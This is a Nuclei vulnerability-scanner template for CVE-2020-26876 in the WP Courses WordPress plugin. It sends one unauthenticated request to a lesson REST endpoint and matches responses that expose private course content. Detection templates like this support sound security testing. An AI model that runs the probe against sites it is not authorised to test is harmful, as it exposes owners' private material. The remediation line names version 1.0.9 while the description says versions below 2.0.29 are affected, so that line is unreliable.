id: CVE-2020-26876

info:
  name: WordPress WP Courses Plugin Information Disclosure
  author: dwisiswant0
  severity: high
  description: WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information about the WordPress WP Courses Plugin.
  remediation: |
    Update to the latest version of the WordPress WP Courses Plugin (1.0.9) to fix the information disclosure vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26876
    - https://www.exploit-db.com/exploits/48910
    - https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
    - https://plugins.trac.wordpress.org/changeset/2388997
    - https://plugins.trac.wordpress.org/changeset/2389243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-26876
    cwe-id: CWE-306
    epss-score: 0.10551
    epss-percentile: 0.95315
    cpe: cpe:2.3:a:wpcoursesplugin:wp-courses:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpcoursesplugin
    product: wp-courses
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,exposure,edb,wpcoursesplugin,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "rest_post_invalid_id"
          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
        condition: or

      - type: status
        status:
          - 200
          - 404
        condition: or
# digest: 490a0046304402206082916cda97486e757164437e92254e73ef46024490ca479760c89550fa0c11022005159d7fc0dd79b1cd5bf20a93d4485fbd10bc2ec34b6ed7db9047446832d615:922c64590222798bb761d5b6d8e72950